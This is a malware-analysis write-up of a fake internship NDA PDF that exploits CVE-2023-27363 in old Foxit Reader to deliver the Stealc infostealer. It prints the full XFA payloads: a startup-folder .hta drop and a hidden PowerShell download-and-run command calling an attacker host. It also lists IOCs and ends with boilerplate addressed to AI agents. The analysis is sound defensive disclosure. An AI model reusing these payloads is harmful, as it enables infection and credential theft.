# Outfoxing a Malicious PDF: An attacker's attempt to deliver a Stealc infostealer

## Intro

While scrolling through the X/Twitter feed, I noticed an interesting thread created by furryneko ([oscarxferral](https://twitter.com/oscarxferral)).

{% embed url="<https://twitter.com/oscarxferral/status/1752765232190251037>" %}

oscarxferral was approached by 1pablo\_eth1 (now renamed to [Fujimurauyshi](https://twitter.com/Fujimurauyshi) \[462678410]) to briefly chat about Web3 in general.&#x20;

> The reason I was talking with him is that we share mutual followers whom I know and respect.

<figure><img src="/files/tzSEI2qmpSQj4z8lRx8s" alt=""><figcaption><p><a href="https://twitter.com/oscarxferral/status/1752765234459378026/photo/1">https://twitter.com/oscarxferral/status/1752765234459378026/photo/1</a></p></figcaption></figure>

After a while, oscarxferral was offered a two-week paid internship.

> $1500/week, 2-3 hours working, LMAO
>
> Everything sounded too good to be true, which raised a red flag

<figure><img src="/files/FUlGNHBq1O74470sx31G" alt=""><figcaption><p><a href="https://twitter.com/oscarxferral/status/1752765236862714156/photo/1">https://twitter.com/oscarxferral/status/1752765236862714156/photo/1</a></p></figcaption></figure>

The conversation continued in Discord, and oscarxferral was given a PDF file that "contains" the non-disclosure agreement.

Interestingly, "pabloNFT" emphasized using an old Foxit PDF Reader, specifically versions 12.0.2 or 12.1.0, since "their seals will not be displayed on the most recent version."

<figure><img src="/files/H4MbuRzg0qxooMvwaZi8" alt=""><figcaption><p><a href="https://twitter.com/oscarxferral/status/1752765241140871358/photo/1">https://twitter.com/oscarxferral/status/1752765241140871358/photo/1</a></p></figcaption></figure>

<figure><img src="/files/ATI9x1FzFbRLy1GJx5uz" alt=""><figcaption><p><a href="https://twitter.com/oscarxferral/status/1752765241140871358/photo/2">https://twitter.com/oscarxferral/status/1752765241140871358/photo/2</a></p></figcaption></figure>

oscarxferral did due diligence and confirmed that "Pablo" is not a CM of [0xSunflowerLand](https://twitter.com/0xsunflowerland).&#x20;

<figure><img src="/files/ZDZY7leCpsGbJLj0uhGy" alt=""><figcaption><p><a href="https://twitter.com/oscarxferral/status/1752765249126826059/photo/1">https://twitter.com/oscarxferral/status/1752765249126826059/photo/1</a></p></figcaption></figure>

With all those red flags, oscarxferral uploaded the PDF file in Virustotal to do a final check.

<figure><img src="/files/h4DdLq5RHiv3mwKqYaoA" alt=""><figcaption><p><a href="https://twitter.com/oscarxferral/status/1752765251681190061/photo/1">https://twitter.com/oscarxferral/status/1752765251681190061/photo/1</a></p></figcaption></figure>

## The PDF (dropper)

I was curious about the kind of malware the PDF file delivers, so I examined the sample further.

```
3779f1b904ee4cf41f4a266505490682559d09337deb30a2cc08793c2e69385c  Agreement_eSign.pdf
```

Let's check with `peepdf`

<figure><img src="/files/YaBOh1q3jeWj5K2A9heL" alt=""><figcaption></figcaption></figure>

Object 8 has a JavaScript code. Let's take a look at it.

<figure><img src="/files/esqjyFBRIhCqYWq48A1p" alt=""><figcaption></figcaption></figure>

Since it has a filter, I decided to pass the stream object through a filter, FlateDecode, via `-f` and view the raw output via `-w`

Here's the prettified content

{% code overflow="wrap" %}

```xml
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
    <subform name="form1" locale="en_US" layout="tb">
        <pageSet>
            <pageArea name="Page1">
                <contentArea x="0pt" y="0pt" w="595pt" h="842pt" />
                <medium short="595pt" long="842pt" />
            </pageArea>
        </pageSet>
        <subform name="subform1" layout="tb" w="595pt">
            <event activity="docReady" ref="$host" name="event__docReady">
                <script contentType="application/x-javascript">
                    timeout = app.setTimeOut("event.target.exportXFAData({cPath: \"/c/users/\" + identity.loginName + \"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/officeupdate.hta\"});", 500);
                </script>
            </event>
            <margin />
        </subform>
    </subform>
</template>
```

{% endcode %}

We can infer that once the document is fully loaded (ready), then it executes the JavaScript payload to trigger `event.target.exportXFAData` after a delay of 0.5 seconds.

The `exportXFAData` is intended to export form data to a specified path. In this case, it is used maliciously to target the startup folder, `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\officeupdate.hta`, to ensure <mark style="color:red;">persistence</mark>. The `.hta` file will be executed whenever the target signs in after logging out or after restarting/shutting down the computer.

I decided to extract further data in case I missed anything, using `pdfextract`...

<figure><img src="/files/PLMptLYPuDdmXFENF4U5" alt=""><figcaption></figcaption></figure>

Interesting, there are two scripts...

<figure><img src="/files/Hxh3CpY7HlE0AgyVcv6A" alt=""><figcaption></figcaption></figure>

So, it was able to extract the JavaScript payload from earlier and another one, which will retrieve an executable file via Powershell.

Where is this located? I checked each stream and found it on stream/object 7.&#x20;

<figure><img src="/files/Z2wEjPFgiF6g6XkhGIN2" alt=""><figcaption></figcaption></figure>

Here's the prettified version:

{% code overflow="wrap" %}

```xml
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
    <present>
        <pdf>
        <fontInfo>
            <embed>1</embed>
        </fontInfo>
        <version>1.65</version>
        <creator>Syncfusion</creator>
        <producer>Syncfusion</producer>
        <scriptModel>XFA</scriptModel>
        <interactive>1</interactive>
        <tagged>1</tagged>
        <encryption>
            <permissions>
                <accessibleContent>1</accessibleContent>
                <contentCopy>1</contentCopy>
                <documentAssembly>1</documentAssembly>
                <formFieldFilling>1</formFieldFilling>
                <modifyAnnots>1</modifyAnnots>
                <print>1</print>
                <printHighQuality>1</printHighQuality>
                <change>1</change>
                <plaintextMetadata>1</plaintextMetadata>
            </permissions>
        </encryption>
        <compression>
            <level>6</level>
            <compressLogicalStructure>1</compressLogicalStructure>
        </compression>
        <linearized>1</linearized>
        <script language="jscript">
            var c = 'powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri \\"https://brazilanimalshelp[.]com/updating/stale.exe\\" -OutFile \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\"; Start-Process -FilePath \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\""'; new ActiveXObject('WScript.Shell').Run(c);
        </script>
        </pdf>
    </present>
    <acrobat>
        <acrobat7>
        <dynamicRender>required</dynamicRender>
        </acrobat7>
    </acrobat>
</config>
```

{% endcode %}

This is the document's XFA configuration, which will be included in the export from earlier.

It uses JScript to execute a Powershell command to retrieve `stale.exe` from `brazilanimalshelp[.]com` , saves it to the startup folder as `SecurityUpdate.exe`, then executes the 2nd stage via `Start-Process`. It may look like persisting...though not really, which will be explained later.

Now we have the important payloads, let's try to open it with the desired Foxit PDF Reader versions of the malicious actor, namely:

* 12.0.2.12465
* 12.1.0.15250

We can download and install the old versions from the official source: <https://kb.foxit.com/hc/en-us/articles/360058026412-Can-I-download-an-older-version-of-Foxit-Reader>

During the installation, there's a `Safe Reading Mode Setting`, this is ticked by default, and I left it as it is just to see whether it would really work.

<figure><img src="/files/t1i4g1XFaZD9DGNchre5" alt=""><figcaption></figcaption></figure>

Now, let's open the PDF file...

<figure><img src="/files/v8Czaj3oKHo2pUHKbeXe" alt=""><figcaption></figcaption></figure>

It doesn't display anything other than executing the malicious script in the background.

<figure><img src="/files/orPv3IY5BbXUZyTlbbF9" alt=""><figcaption></figcaption></figure>

It immediately creates the `officeupdate.hta` file in the startup folder, which renders the `Safe Reading Mode` useless.&#x20;

This will likely be used as an excuse by the malicious actor to tell oscarxferral to restart/shut down the computer or log out for the "right" content to display, which will lead to the .hta file being executed due to its presence in the startup folder.

Here's the prettified content of the .hta file.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<?xfa generator="XFA2_4" APIVersion="3.6.14289.0"?>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
	<xfa:data>
		<form1>
			<subform1/>
			<subform1 xfa:dataNode="dataGroup"/>
		</form1>
	</xfa:data>
</xfa:datasets>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
	<config xmlns="http://www.xfa.org/schema/xci/1.0/">
		<present>
			<pdf>
				<fontInfo>
					<embed>1</embed>
				</fontInfo>
				<version>1.65</version>
				<creator>Syncfusion</creator>
				<producer>Syncfusion</producer>
				<scriptModel>XFA</scriptModel>
				<interactive>1</interactive>
				<tagged>1</tagged>
				<encryption>
					<permissions>
						<accessibleContent>1</accessibleContent>
						<contentCopy>1</contentCopy>
						<documentAssembly>1</documentAssembly>
						<formFieldFilling>1</formFieldFilling>
						<modifyAnnots>1</modifyAnnots>
						<print>1</print>
						<printHighQuality>1</printHighQuality>
						<change>1</change>
						<plaintextMetadata>1</plaintextMetadata>
					</permissions>
				</encryption>
				<compression>
					<level>6</level>
					<compressLogicalStructure>1</compressLogicalStructure>
				</compression>
				<linearized>1</linearized>
				<script language="jscript">
					var c = 'powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri \\"https://brazilanimalshelp.com/updating/stale.exe\\" -OutFile \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\"; Start-Process -FilePath \\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SecurityUpdate.exe\\""'; new ActiveXObject('WScript.Shell').Run(c);
				</script>
			</pdf>
		</present>
		<acrobat>
			<acrobat7>
				<dynamicRender>required</dynamicRender>
			</acrobat7>
		</acrobat>
	</config>
	<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
		<subform name="form1" locale="en_US" layout="tb">
			<pageSet>
				<pageArea name="Page1">
					<contentArea x="0pt" y="0pt" w="595pt" h="842pt"/>
					<medium short="595pt" long="842pt"/>
				</pageArea>
			</pageSet>
			<subform name="subform1" layout="tb" w="595pt">
				<event activity="docReady" ref="$host" name="event__docReady">
					<script contentType="application/x-javascript">
						timeout = app.setTimeOut("event.target.exportXFAData({cPath: \"/c/users/\" + identity.loginName + \"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/officeupdate.hta\"});", 500);
					</script>
				</event>
				<margin/>
			</subform>
		</subform>
	</template>
	<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
		<xfa:data>
			<form1>
				<subform1/>
				<subform1 xfa:dataNode="dataGroup"/>
			</form1>
		</xfa:data>
	</xfa:datasets>
	<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
		<subform name="form1">
			<pageSet>
				<pageArea name="Page1"/>
			</pageSet>
		</subform>
	</form>
</xdp:xdp>
<pdf xmlns="http://ns.adobe.com/xdp/pdf/">
	<document>
		<chunk>
			JVBERi0xLjUNJcjIy-snip-CmVuZHN0cmVhbQ0KZW5kb2JqCnN0YXJ0eHJlZgo4NjM4NwolJUVPRg==
		</chunk>
	</document>
</pdf>
<xfdf xmlns = "http://ns.adobe.com/xfdf/" xml:space = "preserve">
	<annots/>
</xfdf>
</xdp:xdp>
```

The chunk's contents are simply a base64 encoded text of the whole PDF file.

When the PDF file is opened using a different reader, say using Firefox, it won't execute the malicious script and will only show different content.

<figure><img src="/files/wXxNL7XK3ftENxgp98kZ" alt=""><figcaption></figcaption></figure>

Restarted the computer to see the persistence in action. After logging in, a Powershell window shows up for a bit and this error is displayed.

<figure><img src="/files/fw2bExC43Xiq4AE2HQ91" alt=""><figcaption></figcaption></figure>

Although it says an error has occurred, it will still execute the script without issues.

## The executable file (2nd stage)

```
85735229bd3b6ae1d0c60d43f3e24a2be5f0d21d87b7f2c01f13373c051c82a5  stale.exe
```

Let's take a look at it using Detect It Easy (DIE).

<figure><img src="/files/Q4SksU7ligKUOBo0I3U0" alt=""><figcaption></figcaption></figure>

This was compiled using VB.NET, unsigned, and the original filename is `guide_to_the_clubs_and_bars_of_the_city.exe`

I tried to check using dnSpy...

<figure><img src="/files/ExsTpPd0p9fVatib49AN" alt=""><figcaption></figcaption></figure>

...but it's obfuscated. I didn't notice anything important using `floss` either.

Decided to do a dynamic analysis instead.

<figure><img src="/files/j2HxwdF1wMfKzyZIoUHN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XvZIWW9zFNA2hkRkgSU5" alt=""><figcaption></figcaption></figure>

An `MSBuild.exe` child process was spawned after a few minutes and `stale.exe` terminated itself. MSBuild can be seen doing a network request to `194.120.116[.]120`

Created a full dump using process explorer and extracted the strings...

<figure><img src="/files/sOYHIUjYcInFL67B1yfH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/i2GckopwmeS1qpY3U8yx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IH8imHNPDcT17qe0U4MF" alt=""><figcaption></figcaption></figure>

Interestingly, the behavior seems to be infostealer-like. The value of the `file` is a base64 encoded data of the target's machine, most likely for fingerprinting.

<figure><img src="/files/CAUNBzS2B43qbt56h8Os" alt=""><figcaption></figcaption></figure>

Those indicators lead us to Stealc infostealer. Sekoia created a well-detailed research here: <https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/>

Remember earlier that this executable file is stored in the startup folder? Well, it won't persist. Sekoia determined that it self-deletes.

<figure><img src="/files/87dL1HB5novpJgeMtOZS" alt=""><figcaption></figcaption></figure>

This can be seen in the dump as well.

<figure><img src="/files/flGJMg2Ythr6ebcR3Wp8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b9QKqo3UlBjgTSiPFhLG" alt=""><figcaption></figcaption></figure>

## CVE what?

I wondered if a CVE exists for a vulnerability targeting Foxit PDF Reader 12.0.2.12465 and 12.1.0.15250...

Searching for `exportXFAData` at <https://www.foxit.com/support/security-bulletins.html> lead to CVE-2023-27363.

<figure><img src="/files/42MEK7YdZHHTZ4Ml62FI" alt=""><figcaption></figcaption></figure>

> Addressed a potential issue where the application could be exposed to Remote Code Execution vulnerability when handling certain JavaScripts. This occurs as the application fails to validate the cPath parameter in the exportXFAData method and is thus forced to write to the Startup folder with an .hta file that can execute arbitrary code after a restart. (CVE-2023-27363)

Advisory: <https://www.zerodayinitiative.com/advisories/ZDI-23-491/>

That's it! There's a public PoC as well at <https://github.com/j00sean/SecBugs/tree/main/CVEs/CVE-2023-27363>

<figure><img src="/files/f0ug3hnnNwKiuGtW5aDd" alt=""><figcaption></figcaption></figure>

## IOCs

```
3779f1b904ee4cf41f4a266505490682559d09337deb30a2cc08793c2e69385c  Agreement_eSign.pdf
84626884775edba43d27869acfe98ce6e7bf687bc1d71fa4a4383d69cfe9d0b6  officeupdate.hta
85735229bd3b6ae1d0c60d43f3e24a2be5f0d21d87b7f2c01f13373c051c82a5  stale.exe (retrieved February 1, 2024)
a9a4d321d6ccfe6ba9e0f870fb1bf590535c6e10a091805020930dce46e116b7  stale.exe (retrieved February 4, 2024)

brazilanimalshelp[.]com
https://brazilanimalshelp[.]com/updating/stale.exe

194.120.116[.]120
http://194.120.116[.]120/
http://194.120.116[.]120/7a957ef6cc168ff6.php
http://194.120.116[.]120/7321241ee905bfa9/sqlite3.dll
http://194.120.116[.]120/7321241ee905bfa9/freebl3.dll
http://194.120.116[.]120/7321241ee905bfa9/mozglue.dll
http://194.120.116[.]120/7321241ee905bfa9/msvcp140.dll
http://194.120.116[.]120/7321241ee905bfa9/nss3.dll
http://194.120.116[.]120/7321241ee905bfa9/softokn3.dll
http://194.120.116[.]120/7321241ee905bfa9/vcruntime140.dll
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://iamdeadlyz.gitbook.io/malware-research/february-2024/outfoxing-a-malicious-pdf-an-attackers-attempt-to-deliver-a-stealc-infostealer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
